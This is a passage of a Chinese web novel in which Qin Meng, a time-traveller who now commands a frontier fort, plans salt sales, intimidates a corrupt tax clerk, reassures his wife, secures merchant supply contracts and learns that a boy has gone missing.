那常胖子,人精明又是个有财主,路子野得很,咱们搭上他这条线,雪花盐不愁卖不出高价。”
“咦?”秦猛眼皮猛地一跳,看着眼前唾沫横飞、眉飞色舞的老狐狸:“老爷子,你跟我想到一块去了!”
“哦?”王槐眼睛更亮了,像饿狼看到了肥肉,又往前凑了一步,几乎快贴到秦猛身上。
他那带着腌菜味的唾沫星子差点溅到秦猛脸上:“那敢情好!既然管队也这么想,老头子就再抖点底。
那常家不止在幽州,并州吃得开,听说还通着南边的海路,走私海盐的生意都敢沾边。背景硬得很。”
”他舔了舔干裂的嘴唇,眼中闪烁着老辣算计的精光:“不过,老头子还有个更大胆的想法。
咱们跟他们打交道不能光指望着卖盐。
最好啊,是让他们出粗盐块,咱们只管收来蒸、滤、熬。
——这才是真正的无本万利啊,我的管队大人!
不用操心原料,不用垫本钱,稳赚不赔。”
秦猛侧头,看着唾沫横飞、双
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眼放金光如同看到金山银山的老保长,脸颊肌肉抽搐了几下。
他心底无声地长叹:“古人诚不欺我,老而不死是为贼啊!”
这老家伙的心思,竟与自己这个穿越者设想的路径高度契合!
“不,”秦猛目光沉静下来,语气却斩钉截铁,“老爷子,您这‘借鸡生蛋’的法子虽好,短见。
把命脉寄托在旁人手里,那是提着自己的辫子想飞天。
钱要赚,更要赚得干净明白,更要攥紧咱们自己的根本。”
他指节重重敲了一下冰冷的刀柄,发出“哐”的一声轻响,迎着王槐略感不解的目光,眼中闪烁着一种洞悉全局的锐利:
“这盘棋,咱们得下得明白些。”
“其一,”他手指在空中划出一个圈。
“咱们自家地头儿,得守住了。
肥水,总要先润自家田,规矩得立得铁板一样。
让那些有眼力的‘中间人’替咱们吆喝,货嘛,自然是从咱们手里过。”
“其二,”指尖向南虚点,“远处那些繁华地界,放出去让有能耐的人去折腾。
咱们嘛,只按船收租,立下牌坊保个底价,还得让他们心甘情愿先‘入个门道’。”
“其三,”秦猛嘴角勾起一抹意味深长的笑,声音压得比王槐更低,“州府里的金堂玉马,好盐可不能糟蹋了。
那得配上好瓶儿,标上响当当的名号,还要像吊起馋虫似的……嗯?
您这**湖,吊胃口的老招式可比小子懂。
那价钱?就看咱们的手段和他们那颗‘脸面’的心了。”
“其四,”他语气一沉,带着不容置疑的坚定,“咱们自己人,那些勒紧裤带的穷亲苦邻,那是咱们吃饭保命的营生。
规矩得立在前头,分量、价钱都不能含糊,是换是买,都得是实在价。”
秦猛语速平缓,却字字清晰,将那套超越时代的经营方略,揉碎了嵌进王槐能懂的行话与暗示里。
没有亮出所有底牌,点到即止,只勾勒出框架的骨。
王槐起先还皱着眉努力消化,但听着听着,那浑浊的老眼瞪得越来越大,像看怪物一样盯着秦猛。
手里下意识模仿拨算盘的指头僵在空中,微微颤抖。
那些话,拆开每个字他好像都懂,可合在一起,怎么就搅得他那颗自诩算尽人心的老心肝七上八下?
什么“按船收租”?
什么“立牌坊保底价”?
还有那“吊起馋虫”的法子……闻所未闻!
直到秦猛停下,老保长还张着嘴,那点七十年风吹雨打熬出来的精明气,被砸得七荤八素,连那点唾沫星子都忘了往外喷,整个人像是被钉子定在了原地,成了个彻头彻尾的老呆鹅。
第22章 秦管队立威
秦猛擢升南河军堡管队官的消息,在堡民道贺与流民接风宴的热闹中几无波澜。
直到青阳县巡检使臣许方的死讯传回。
许家与盘根错节的姻亲吴家,瞬间被捅了马蜂窝。
两家旋即联名,泣血状告至青阳县衙,痛斥戍堡边军秦猛“目无王法、擅杀朝廷命官”,特乞求“严惩凶徒”。
青阳县令手执状纸,笔锋悬而未落。
边防帅司的快马文书已至。证据详实:许方伙同吴家妻弟,抢夺军功、克扣军饷、私通敌寇……
条条罪状清晰。赫然是一座铁证大山。
县令的惊愕未散,帅司命令再至。
南河城寨甲兵已封死许、吴两府大门。查抄家产充作军饷,男丁流放,女眷没入贱籍。
昨日县城望族,顷刻丧家。
此讯如惊雷滚过青阳县。细节被边军刻意宣扬:
地方军队公然抢夺军功,被秦猛反杀!帅司严令:谁抢功,决不轻饶!
人们悚然惊觉,死死记住了那个名字。
——小南河堡管队官,秦猛。
此名如万钧巨石投入死水,在曾欺辱秦家或与许吴暗通者心头,激起冰冷彻骨的寒意。
帅司正式公文抵达南河军堡当日,嗅觉最灵敏的胥吏衙役已凛然不安。
税务班头张琨,便是其中坐卧不宁的一个。
昔年秦家门前一幕清晰如昨:陈月娘痛哭,秦小芸抗拒催税。彼时秦猛只是受人嗤笑的“二愣子”。
张琨视其为鱼肉,苛扣抚恤,刮走救命粮。
数日前,他还去催杂税,撂下狠话。
谁能料,短短数天,“二愣子”竟手握兵权,敢杀官!帅司更雷霆处置了状告者……
张琨每夜惊梦。
“秦猛……秦管队……”仲冬寒夜,他如困兽般辗转难眠,“这哪是翻身?分明是潜蛟出海,要掀滔天巨浪!”
恐惧压倒了侥幸。他一咬牙,装了绫罗绸缎二十匹、金银首饰满两大箱、上好米酒二十坛,精米百石,装满十辆大车。
天色未明,便套上簇新绸衫,带着家丁惶惶然奔小南河堡而去。
破财免灾!只求煞星眼中一丝松动,好过日后被无形快刀索命。
秦家小院外窄巷口,十辆马车颇为碍事。
张琨在紧闭院门前踱步,不时踮脚张望。
朔风凛冽,他心头燥热,额角汗珠滚滚,浸湿了新绸衣领。
“哟呵?这不是张班头吗?”
一个慵懒戏谑的声音如寒针扎在张琨脊梁,“怎的有闲暇光临本官这穷酸院子?莫不是……又来催缴秋粮了?”
张琨浑身剧震,猛然回头。刺目阳光下,魁伟身影大步踏来,玄黑铁甲泛着冰冷幽光,脖颈刀疤狰狞。身后亲兵杀气腾腾。正是秦猛。
与老保长议事毕,秦猛带人赶回。
他目光深邃锐利,哪还有半分“憨傻”?
“不敢!万万不敢哪!”张琨双腿一软,慌忙躬身作揖,声音抖颤,“管队大人折煞下吏了!
您是边军砥柱,军属税赋早有豁免。下吏……下吏今日是专程前来,恭贺大人高升,负荆请罪,叩请大安!”
他语无伦次,偷觑着秦猛腰侧横刀蛰伏凶兽般的气场,心惊肉跳:
当初真是瞎了眼,竟不识此藏锋猛虎!
秦猛嘴角牵起一丝近乎刻薄的弧度:
“哦?是客?那便……进院说话。”
言罢不待张琨,他径直推门而入。
这“和善”让张琨更惶恐,挤出比哭难看的笑容,踩着擂鼓心跳跟进。
堂屋主位,秦猛如虎踞,掌中热茶氤氲。
张琨半边屁股粘着椅子,身板绷直,汗珠不断自鬓角滚落,砸在靴面上洇开深渍。
里间门帘悄掀一线,陈月娘攥衣角的手指关节泛白。张琨当初“拿人抵债”的恫吓犹在耳畔。
“活该!”秦小芸低笑快意。
陈月娘目光落在秦猛威严侧影上,心生安定,也滋一缕陌生。
“秦管队……明鉴呐!”张琨扛不住这无声威压,带着哭腔打破静默。
“下吏往日催收,皆是转运司层层压下的死数!州府压县,县衙再压我等小吏,数目叠增……
下吏就是磨盘下的豆子,纵千般不忍,也只得闭眼办理!此非本心,实……身不由己啊!”
话音未落,他的膝头已簌簌抖动。
秦猛慢条斯理地“啜”了口茶,眼皮微抬:“张班头为国课税,奉公守法,何错之有?
家父不幸捐躯沙场,秦家划出军户,也是本朝律法使然。照章纳粮,更是本分。”
他顿了顿,声调略沉,“便是半年前……班头公事公办,亦是……职责所在,合乎情理。”
这“半年前”、“公事公办”、“合乎情理”几字,字字如冰锥,刺得张琨脊背发麻。
军户战死,抚恤与免税乃是定制。
少则一两年,多则三五年,谁不知晓?
张琨双股战战,慌忙加码:“下吏知错,知罪了。愿再献白银五百两、粮食五百石、肥猪五十口!
不日便解往大人军堡,以资练兵之用!”
秦猛端茶的手指几不可察一顿。
区区税务班头,出手如此豪阔?
大周吏治之腐,触目惊心!他又忆起穿越那日,月嫂的绝望与空米缸……眼底寒意掠过。
张琨见他沉吟,误以为不足,急声道:“下吏在青阳地面盘踞多年,三教九流尚通一二。
军堡若需粮秣军需、马匹铁料、盐巴乃至硝石硫磺……下吏愿居中奔走,竭尽犬马之劳,定为管队大人备办妥当!”
秦猛心中杀机微敛:此獠虽为宵小,却如地头蛇般盘根错节,耳目通灵。军堡草创,光靠常氏粮行易受掣肘,正需此等熟知门道之辈……
面上却波澜不惊,稍作沉吟方道:“罢了。上官一层,威压似山,念你确也身不由己,又存心化解旧怨…前事,本官不再计较。”
“谢大人洪恩!谢将军不杀之恩!”
张琨如蒙大赦,连连作揖,险些喜极而泣。
“不过——”秦猛话锋陡转,平淡之下杀机骤凝,“军堡扩建在即,界河将封,鞑骑又该叩边。
堡内军粮、禽畜、马匹耕牛、精铁、硫磺、硝石、棉花……这些门路,便由你经办。”
他目光如实质般钉在张琨脸上,“
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办得妥帖,本官从不吝于赏功擢拔。若办砸了……哼!”
尾音森寒,余意无尽。
“是是是…下吏定当肝脑涂地!绝不敢有半分差池!”张琨心中巨石落地,唯有用处方是保命符。
“慢着!”秦猛倏然起身,高大阴影如乌云罩顶,瞬间吞噬张琨。目光如淬冰寒刃,直剜其眼底。
“本将尚有一事问尔。家父以性命搏得的五十亩军功田,前些时……竟被人设局强夺。
县衙却坐视不理,其中蹊跷……你张班头,可曾闻知?可曾……从中沾得些许油水?”
“没有,绝对没有哇!”张琨魂飞魄散,头颅摇成拨浪鼓,“下吏只是偶有风闻,绝无涉入。求将军明察!
此事……此事乃南河镇刘保正勾结其族兄,本县刘县丞所为……”生死关头,毫无压力地将上官卖了。
“哦?”秦猛眉峰微挑,嘴角噙着近乎残酷的冷笑,“那你必定知晓,强夺国朝所赐边军功田,依太祖祖训、《周刑统》律例……该当何罪?”
张琨刀笔出身,律法刻骨,求生欲下脱口而出:“回大人!太祖皇帝明训:军功田乃国赐功臣永业之产,严禁私卖侵夺!犯者以‘侵夺公私田’论处!
依律,强占一亩笞三十;每五亩罪加一等;至罪无可加,主犯最高……当绞!”
“哼,律法倒是烂熟于心。”秦猛冷哼,眼中寒芒一闪,话语却莫名轻飘起来:“说来……也真凑巧。
那刘扒皮全府上下……前几日夜里,竟无声无息,死绝了。本官本想呈报帅司,请律法严办……唉,可惜啊,他们倒是……死得痛快了。”
他轻轻摇头,语气带着一丝玩味的叹息。
“……死……死绝了?”张琨脑中轰然炸裂。
青阳县衙暗中惊疑的刘府灭门血案,竟被眼前这位煞星,如此轻描淡写地点了出来?
“可惜”?“痛快”?字字都带着砭骨的寒意!那灭门刀光,仿佛已悬在自己脖颈之上!双膝再也支撑不住,“噗通”一声跪倒,额头死死抵住冰冷地砖,牙关“咯咯”作响,抖若筛糠。
心里唯有一个念头在尖叫:是他!定然是他。
此獠手段之酷厉,远超传言。
秦猛悠然落座,重新端杯,慢条斯理吹开浮沫。
“张班头今日所言所诺,本官记下了。”
他眼皮微垂,声音平缓如古井,“望尔…言而有信。”
“不敢爽约。下吏绝不敢有半字虚言,半分欺瞒!”张琨手脚发软,几乎是爬着起身,踉跄着向外跌撞退去,声音带着哭腔好。
“秦将军,下吏……告退!”
“嗯。”身后仅传来一声极淡的鼻音。
张琨狼狈逃出。直到爬上自家马车,车帘放下隔断视线,他才惊觉胯下湿热一片,双腿兀自筛糠般抖个不停。
帘角掀开一条细缝,他最后回望那曾被他视作砧板鱼肉的斑驳小院,仿佛能看到一尊煞神端坐其中。心中唯余一个念头深烙入髓:
此獠秦猛,绝非武夫!
其威如渊,其势若岳!自今而后,青阳地界,唯有尽心竭力,以命效力,方是保命之道!
第23章 富贵不移,此生唯你
堂屋内,那份令人窒息的、充斥着虚伪与恐惧的污浊空气,随着张琨的仓皇逃离瞬间消散。
紧绷的氛围骤然松弛,只剩斜阳透过窗棂投下暖金色光柱,无数细小尘埃在光柱里无声浮沉。
秦猛卸下对外的冰冷漠然与无形威压,用力捏了捏眉心,缓缓舒气。
他的目光落在堂屋中央堆积如小山的礼物上——锦缎、粮食、美酒、装着金银的沉重匣子……
这本该令人狂喜的财富,在他眼中只映衬出张琨之流匍匐于权力与恐惧下的卑微丑态。
秦猛皱了皱眉,这些“血礼”堆在家里实在碍眼,便让亲兵搬到库房,只留下金银,十来匹艳丽绸缎。
他又让亲卫队每人扛两袋米、带匹好布回家。
做完这些,秦猛朝着里屋门帘扬声道:“月娘,小芸,出来吧,外头那腌臜东西走了。”
声音刚落,门帘“唰”地被掀开!
秦小芸像只欢快的小鹿,拉着还有些犹豫局促的陈月娘跑了出来。
小丫头脸上满是兴奋的红晕,眼睛亮晶晶的,闪烁着崇拜与解气的快意:“哥,你真厉害!”
她三步并作两步冲到秦猛身边,拽着他的衣甲袖子叽叽喳喳:“刚才我和嫂子在帘子缝里都看见了。
那张扒皮以前多凶,哪次来都恨不得掀了咱家房顶,嫂子都被他凶得要哭……现在倒好,连滚带爬活像只吓破胆的老鼠,呸,活该!”
陈月娘被小芸拉着,脸颊因激动微微泛红,眼底涌动着难以言喻的欣悦与安定。
她望着秦猛,目光温柔如水,低声道:“猛子哥…刚才张胥吏跪着的样子……真是想不到…”
女人的声音轻如呢喃,仍带着一丝难以置信的恍惚,仿佛从沉重噩梦中骤然惊醒。
往昔张琨带来的阴霾与恐惧,此刻似乎真被眼前这个男人用坚实臂膀彻底驱散。
“那是因为你哥现在有本事了。”秦猛抬手,习惯性在小妹毛茸茸的发顶上轻拍,动作自然亲昵。
他俊朗的脸上终于露出发自内心、带着点少年得意的笑容,雪白牙齿在暮色中尤为醒目。
“从今往后,家里有了顶梁柱,再没人敢欺负你们!以前欠咱老秦家的,得加倍还回来!”
这份睥睨自信的宣言,让秦小芸更是兴奋得直蹦。
陈月娘静静望着他,那魁梧的身材,英挺的眉峰、沉稳的眼神,还有能顶天立地的力量……
正是这份力量将她从绝望泥沼中拉出,重新拥有呼吸与心跳。只是,这种变化太快太剧烈,让她心底悄然滋生一丝难以捕捉的恐慌。
——她只是父母早逝、随流民逃难,被秦母救下后,懵懂做了傻媳妇的普通民女,真的还能站在如今,以后越大光芒万丈的他身边吗?
温暖阳光透过窗户,勾勒出陈月娘柔美的侧脸轮廓,也映出她微垂眼睫下那抹不易察觉的迷茫与自卑。
秦猛敏锐捕捉到她微妙的情绪变化。
这些天他忙于军务、练兵、筹算,几乎脚不沾地,常深夜才回、天不亮又走,难得见一面。
家宅虽然变得安宁与富足,但却似乎少了朝夕相处,冷落了本该在温饱后享受更多温情的她。
那个风雨飘摇小院里,相依为命的傻子媳妇,同吃同睡、笨拙取暖的记忆,恍如昨日,又似隔世。
一丝愧疚悄然爬上秦猛心头。
“猛子哥……”陈月娘鼓起勇气抬头,目光落在窗外渐沉的天色上,像下了很大决心般,带着小心翼翼的希冀怯生生问。
“今晚……在家吃饭吧?”
她的声音很轻,带着不易察觉的祈求,清澈眸子里盛满复杂情愫,——有思念,有盼望,还有害怕被拒绝的紧张。这朴素邀约,胜过千言万语。
秦猛的铁石心肠瞬间变得异常柔软。
“好!”他答得斩钉截铁,毫不犹豫。
“今晚就在家,哪也不去了,好好陪陪你们。”
秦猛上前一步,抓住陈月娘有些冰凉的双手,粗糙却温暖的指腹传递着坚定力量,驱散那份寒意。
感受到他手心的灼热温度,陈月娘脸上倏地飞起晚霞般的红晕,蔓延到耳根脖颈。她羞涩地撇过头去,想抽回手,却被秦猛握得更紧。
“哎呀!哥!”一旁的秦小芸见状,眼珠子骨碌碌一转,小大人般清了清嗓子,故意用夸张的告密口吻说。
“嫂子之前还偷偷抹眼泪,跟我愁呢,说你……”
“小芸!”陈月娘大窘,脸上红得几乎滴血,急着制止她继续“出卖”自己。
可秦小芸早已机灵地闪身躲到秦猛身后,只探出小脑袋语速飞快地说:“嫂子担心得很。她说我年纪小不懂,其实我不小,我懂。
她再担心自己只是啥也不懂的乡下姑娘,又笨又土气,不像大户人家的漂亮小姐。
现在哥你当了官,威风凛凛的,以后肯定高升挣大钱,什么绫罗绸缎都能买,担心你嫌弃她这乡野村妇,心里藏着事儿,总是愁眉不展。”
小女孩脆生生的“指责”如同投入心湖的石子,在秦猛心底激起层层涟漪,混合着心疼与怜惜。
他刚才模糊抓到的情绪,此刻被小芸清晰地摊开在眼前。
“小芸,你……你再胡说!”陈月娘急得跺脚,又羞又急,眼眶都有些红了。
自卑心事被骤然撕开,让她无所适从,不敢去看秦猛,只能垂下头将脸深深埋下,纤白手指无措地用力揉搓着早已不再补丁的干净衣角。
秦猛心头一热,哪还顾得上劳什子大周礼数?他松开握着的手,下一刻伸出有力双臂,将低眉顺眼、身体微颤的陈月娘轻轻揽入怀中。
这温暖的、带着铁甲寒气与淡淡汗味的胸膛,瞬间给了陈月娘巨大安全感,让她慌乱的心跳渐渐找到依托。
但久违的亲昵接触也让她脸更红了,整个人僵直在他怀里。
秦猛低下头,下巴轻轻蹭了蹭她馨香的发顶,醇厚嗓音如同拂过心弦的暖风,在她耳边低语:
“月娘,我憨傻多年,你不离不弃,跟着
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我吃糠咽菜,没少受白眼。为了多挣几个钱,为了撑起这个家,入山采药,连命都差点搭上。”
他抬起她小巧的下巴,让她被迫迎上自己深邃而诚挚的目光,里面没有丝毫厌恶或轻视,只有浓得化不开的珍视与心疼。
“如今我开了窍,不傻了,手里有了几分权,能弄点钱了……怎么可能做丧尽天良、忘恩负义的事?别人会,但我特殊,绝对不会。”
他微微加重语气,目光如磐石般坚定,烙进她眼底:“你无需担心,听好了:
你陈月娘,是爹娘亲口许诺、拜了河神,名正言顺接回家的媳妇。从今往后,无论我是这小小的军堡管队,还是他日富贵登天,站在我身边的人……”
他停顿一下,带着笑意看着她瞬间涌上泪光的眼眸,掷地有声地说,“——只能是你!”
他温柔地用指腹擦去她眼角渗出的泪珠,声音越发柔和却带着让人安心的笃定:
“苟富贵,勿相忘!等这恼人的**退了,开春了天暖和,我就请王老爷子郑重登门说媒。
再找堡里最好的鲁师傅打轿子,八抬大轿,风风光光让你穿上城里姑娘才有的红嫁衣,在全堡老少见证下,堂堂正正迎娶你,重新过门。”
“猛子哥……我……我……”汹涌情感如决堤洪水,瞬间冲垮陈月娘心中所有不安与自卑。
巨大欢喜让她心剧烈跳动,仿佛要从胸腔蹦出。千言万语哽在喉咙,只化作滚烫泪珠簌簌落下,晕湿秦猛胸口的铁甲。
她什么也说不出来,只能用力点头,脸颊红,把自己埋进宽厚温暖的怀抱,感受着他那坚实臂膀与有力心跳带来的无边安心与幸福。
“嫂子羞羞脸喽!”秦小芸在一旁拍着手,笑嘻嘻做着鬼脸,为这温馨一幕开心不已。
“傻丫头……”秦猛揉了揉小芸的头发,脸上挂着满足的笑。
他轻轻拍着怀中还在轻啜的女人后背,柔声道:“好了,不哭了,再哭,眼睛要肿了。
小芸饿了没?你嫂子手艺那么好,今晚让她好好露一手,咱们一起做饭。正好就地取材,用这‘张扒皮’送来的精米细面,整治一桌好的!”
他将下巴搁在她头顶,满足地嗅着熟悉的皂角清香发丝味道。
夕阳余晖将紧紧依偎的两人镀上金边,温馨而隽永。
“嗯……”陈月娘脸颊红晕未退,用力点头。担忧尽去,浓浓幸福包裹着她,浑身暖洋洋的。
她抬起泪眼朦胧的脸,鼓起勇气飞快在他脸上亲了一下,然后像受惊的小兔,顶着红得冒烟的脸颊捂着脸挣脱怀抱,细声细气丢下一句。
“猛子哥…你、你陪小芸说会儿话……我……我去厨房做饭了……”
话音未落,她已脚步飞快却带着微不可察的轻快,像只翩跹蝴蝶转身钻进旁边飘散烟火气的伙房门,只留下窈窕又略显慌乱的背影。
伙房里,很快响起锅碗瓢盆的清脆磕碰声,间或夹杂着女子羞赧又掩不住愉悦的轻哼小调。
第24章 这老狗好手段
张琨果然不敢爽约!
翌日正午,五百两白花花的银子、五百石颗粒饱满的粟米、粗麦,连同五十头膘肥体壮的活猪,便被络绎不绝的车队送抵南河军堡大门。
张琨本人虽未入内,但那份诚惶诚恐,连同他引荐而来的两家县城望族代表,一并送到了秦猛眼前。
一家是“李家粮行”主家李安平,五十岁出头,面皮白净,眼神透着商贾的精明与此刻难掩的敬畏。
李家粮行是青阳县本土买卖,虽不及常氏粮行规模,却掌控着青阳县及周边大半的粮食流通,布匹、油料等民生必需品亦在其经营之列。
另一家是“罗记矿行”东家罗世荣,生得虎背熊腰,面膛赤红,乃是三代经营的矿主,手下掌握着多处煤矿和一处品质尚可的硫磺矿脉。
——这正是军堡铸造兵甲、配制火器急缺的命脉。
两人在张琨穿针引线下联袂而来,姿态放得极低,一来是想承接军堡生意,二来是主动靠拢示好。毕竟秦猛杀朝廷命官的凶名已传开。
秦猛亲自在军堡议事厅接见了二人。
李安平语气恭谨,开口先道恭维:“秦管队年少有为,治军有方,此乃青阳县百姓之福。
听闻军堡人丁兴旺,所需粮秣布匹,我李家愿以低于市价两成,长期足量供应边堡所需,只求结个善缘,管队爷照应,日后安稳营生。”
罗世荣声若洪钟却带着三分谨慎:“罗家世代挖矿,深知军资要紧。管队爷所需煤料、硫磺,只要定下个章程,矿上便日夜不停,优先保质保量运抵堡内,价格嘛,定让管队爷满意!”
秦猛端坐上首,铁甲齐整,目光扫过二人。他没有咄咄逼人,只是平静点出:“军堡乃边防重地,雪天将近,拒马河冰冻后,**必定来犯。
所需物资量大且要稳妥。价,按市价即可。‘稳定供应’四字,远胜蝇头小利。日后有文书凭契,供方违约……帅司追究起来,本官也不好说话。”
话语平和,却让李、罗二人心中一凛,瞬间听懂了潜台词:钱不少给,但货要好、要准时、要不断流。若出差池延误军机,等待他们的可不是寻常商贾**,而是边防帅司的问责。
“管队爷体恤,我等必尽心竭力,绝不敢有误!”李安平、罗世荣连忙拱手应诺。能攀上这棵大树,拿到稳定大单,已是意外之喜。
当下三方议定条款明细,签署文契。
待走出军堡大门,李安平与罗世荣皆满面春风。
——不仅拿到了定金,心中一块大石也落了地,更觉得秦猛说一不二,并不像传言中那般凶恶。
张琨怕秦猛又刮他油水,在堡门口远远瞧着他们的神色,焦急等待的一颗心终于放回肚子里。
“两位,情况如何?”张琨笑着迎上前。
李安平,摸着怀里大额银票,脸上笑容不减:“张班头,这秦管队说话得体,做事有分寸,且懂人情世故,真是年少有为,多谢引荐。”
“没错,传言多有不实,这秦管队是有为的军官。我矿行必定全力相助,打**,护家园。”颇有勇力的罗世荣哈哈大笑,铿锵表态。
“至于张班头指引,罗某不会相忘。”
“是极,是极,改日,李某亲自登门道谢。”
“哎哟,你们是不知道这位爷要命的样子多可怕。”张琨听到两人夸赞,挤出一个笑脸。
他心中却彻底放下心来。
秦猛这种人物,果然说话算话,没找他麻烦。更重要的是这份引荐之功,李、罗两家自然少不了他好处。
这可比过去欺上瞒下、提心吊胆的“得利”踏实太多,至少,在街上不用担心被人一刀砍了,半夜也无人会潜入家中扭断他脖子。
从建堡起,随着常氏粮行及其他几家粮库的车队不定期运送粮食、布匹、铁料等物资抵达。
源源不断,南河军堡的储备骤然丰盈。
一座座巨大的廒仓平地拔起,很快便被金黄的稻麦填满,布匹堆叠如山,铁料码放如林。
本县李家和罗家送来的物资速度极快,下午车队抵达。袋袋粮食入仓,棉花,布匹等进库房。
统计,支出,送到铁匠作坊、木工坊、火器作坊……
堡内储粮充足,堡内上下心头皆安。
秦猛并未因物阜民丰而松懈。他坐镇铺堡,依循旧例,每日天光微亮便扎进军营,亲自操练军卒。队列阵型、刀枪劈刺、近身搏杀……
士卒练什么,他同练什么,甚至更狠,只管打熬身体。汗水浸透战袍,铁靴踏起滚滚尘烟,那身影既是指挥官,亦是最锋利的矛。
他亲身示范搏杀技巧,沉稳的声音响彻校场:“力发于根,扭腰送肩,刀锋锁喉,快一分生,慢一寸死!而做到这些,先要扎实根基……”
军营边角的盐作坊里,十几个精壮汉子日夜轮班忙碌:溶解含杂质的粗盐块,严格按步骤反复过滤、澄清杂质,再倒入铁锅熬煮结晶。雪白细密的盐粒如同雪花般被源源不断刮出、晾晒。
看着一袋袋堆砌起来、纯净耀眼的雪花盐,老保长笑得合不拢嘴,露出满嘴漏风的豁牙:“宝贝,这是大宝贝啊!小心点,这盐……是咱军堡活路,一斗怕是能换好几石粮嘞!”
在这个时代,精纯如雪的好盐价值往往远超粮食,市场价格极高,同样是贸易的硬通货。
秦猛却下令按人头发放,堡内男女老幼人人有份。
当家家户户都领到以往只有王公贵胄才配享用的极品好盐时,整
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个军堡瞬间沸腾。喜悦之情难以言表,连干活的号子声都愈发响亮。
人人脸上红光满面,干劲十足,仿佛有使不完的力气。
军堡内,一片热火朝天:
铁匠作坊里,炉火日夜不息,叮叮当当的打铁声不绝于耳;
木工作坊中,锯木声此起彼伏,刨花飞舞,各种器械及部件快速成型;
设在角落僻静处的火器坊则最为神秘,范良带着几个徒弟在里面鼓捣配**,时常传出闷雷似的低爆声或他气急败坏的咒骂,偶尔又夹杂着几声“成了,这回成了”的狂喜嘶吼。
时间飞逝,两日后。
刘德福这老家伙果然没给秦猛“动手”的理由。
刘家庞大得令人咋舌的车队,在约定日子内抵达军堡。除却明面上约定的五百两银子、一千石粮食外,还有秦猛当初刻意提高门槛额外索要的“宝物”——秦家祖传的御赐腰带。
这本是狮子大张口,那腰带根本不存在,刘扒皮家中自然没有。然而,刘德福的手腕却让人心惊。
“秦管队。”刘家领头管事恭敬中带着不易察觉的谨慎:“那日刘家宅邸着火,库房付之一炬。
我家大老爷深感愧疚,御赐之物关乎秦家体面传承,老爷言:愿以五百两黄金作为赎抵之物,请管队爷体谅海涵。
秦家的尊严,刘家日后定以别的方式补偿,找到御赐之物即刻送来。”
秦猛盯着那一箱闪耀金光的金珠,面色平静。他照单全收,没有半分推诿客气,心中对刘德福的忌惮却更深一层。
这老狐狸!能舍弃如此重利,只为避免“留下话柄”和“当场冲突”,这份隐忍和算计,要么不动如山,一旦动手了必定石破天惊,不留半分余地。
秦猛忌惮归忌惮,却不是个怕事之人。他不仅赏赐了领头管事,还笑着让他帮忙带话。
“劳烦管事回去转告刘通判,让他慢点寻找,本官不着急。我秦某人就在这边陲军堡等着。”
“是,这话……小人一定转告。”管事心中怕极,硬着头皮应下,卸完粮食便带人匆匆告辞。
军卒们迅速将粮食入库,诸葛风赶来记录造册。
秦猛嘱咐他检验,分开储存,才返回自家小院。
陈月娘已备好了简单的晚饭,日子好了也未铺张:热腾腾的粟米饭、猪肉炖粉条、几个炒青菜、一盘腌萝卜,搭配着野菜汤。
秦猛端起粗瓷碗,与陈月娘、秦小芸如往常般边吃边聊,说些家长里短,听她们说起裁缝铺里的热闹景象,偶尔插句话,席间有说有笑。
就在吃饭时,秦猛夹起一筷子菜送入口中,扒拉一口饭,还没咽下,那苍老又急促的声音再次响起:“秦管队,秦管队……出大事了!”
第25章 王寡妇的哭声
“我靠,又来!”秦猛听着老保长那熟悉的叫嚷,脸颊肌肉狠狠抽搐。然而,不等他有所反应。
屋外,一声凄厉尖锐、撕心裂肺的哭嚎猛然刺破了堡内的宁静:“啊,我的大宝啊——!”
“大宝,我的儿,你哪儿去了啊——!”
“砰啷”一响,陈月娘手中的汤勺被惊得掉在地上,瓷片溅到脚边,她下意识地缩了缩手。
“是王家姐姐!”秦小芸放下筷子,小眉头紧紧皱了起来,一下子就听出了这声音的主人。
“我去看看。”秦猛撂下碗筷,眉头瞬间拧成了疙瘩,顺手抓起桌边的横刀,大步朝门口走去。
他刚拉开自家的木门,院门就被“砰”的一声推开。
老保长王槐拄着拐杖,弯腰喘着粗气冲进来,背后跟着个披头散发的妇人——正是住在隔壁巷的王寡妇。
她的头发乱糟糟地粘在泪脸上,眼睛肿得像核桃,刚进院子就“噗通”跪倒在地,双手死命拍着冰冷的泥地,指甲缝里都嵌进了土渣。
“管队老爷,您可得给我做主啊!我家大宝…大宝他没啦!”
她男人两年前死在**刀下,十二岁的大宝是她唯一的指望,如今孩子没了,她这个做母亲的瞬间垮了,哭嚎声里全是天塌下来的绝望。
“没了?怎么没的?”秦猛心头一沉,声音带着几分寒意。好好的孩子怎么会突然就**呢?
“是…是丢了啊!”王保长总算顺过气,急急忙忙解释,“春兰她,刚才疯了似的撞进我家,话都说不利索,就在地上哭,说大宝找不着了。”
老头说着连连摇头,满脸无奈,也不知道详情。
这动静早惊动了街坊四邻,不大的院子很快挤满了人,里三层外三层地探头张望,低声议论。
“春兰姐,你先定定神,把事说清。”秦猛本想伸手扶她起来,手刚伸到一半又猛地缩了回去。
——这年月男女大防重得很,他一个大男人去扶寡妇,传出去少不了闲言碎语。正犯难时,见陈月娘跟了出来,他如遇救星,狂甩眼色。
陈月娘何等机灵,立刻上前搀扶,柔声细语地劝慰着。秦小芸也懂事,转身跑进屋里搬来两条长凳。
接着,女孩又端出两碗温水递给王寡妇和王保长。
“春兰姐,先喝口水稳住心神再说。”秦猛的声音沉稳而有力:“老保长,乡亲们都在这儿。
你先冷静,把事情说清楚,大家一起想办法,莫慌。咱们几百号人出动寻人,孩子肯定丢不了!”
这铿锵有力的话像定心丸,王寡妇总算慢慢止住哭嚎,接过碗,咕咚咕咚灌了大半碗水,胸口还在剧烈起伏,眼泪却没那么汹涌了。
见她情绪稍稳,秦猛赶紧追问:“大宝是啥时候不见的?去哪儿了?”
“呜呜…俺家大宝…今早晨说去东边林子拾柴火。”王寡妇抽抽噎噎的,话都说不连贯。
“午饭时没…没回来,俺还寻思着娃儿贪玩…可这天都快擦黑了,连个影子都没见着。
俺把堡里堡外能找的地方都找遍了…我那死鬼男人要是知道了,在地下都得怨我没看好娃啊……”
说着说着,王寡妇绝望涌上心头,哭声再次大了起来。
秦猛见她这状态问不出有用的话,眉头皱得更紧了。
——最近堡里不太平,刘德福那老东西一直憋着坏。
难道是他们按捺不住,想用绑票的阴招引自己出手?秦猛觉得有这个可能,但概率不是很大。
“管队,这事儿蹊跷得很!”王保长这时缓过劲,拄着拐杖凑到秦猛身边,压低声音说,脸色凝重得能滴出水。
“前阵子就听说周边村坊有人失踪,我看呐,怕是捕奴团那帮天杀的到了冬季,出来作祟了。”
“捕奴团?”秦猛眼神一凛。
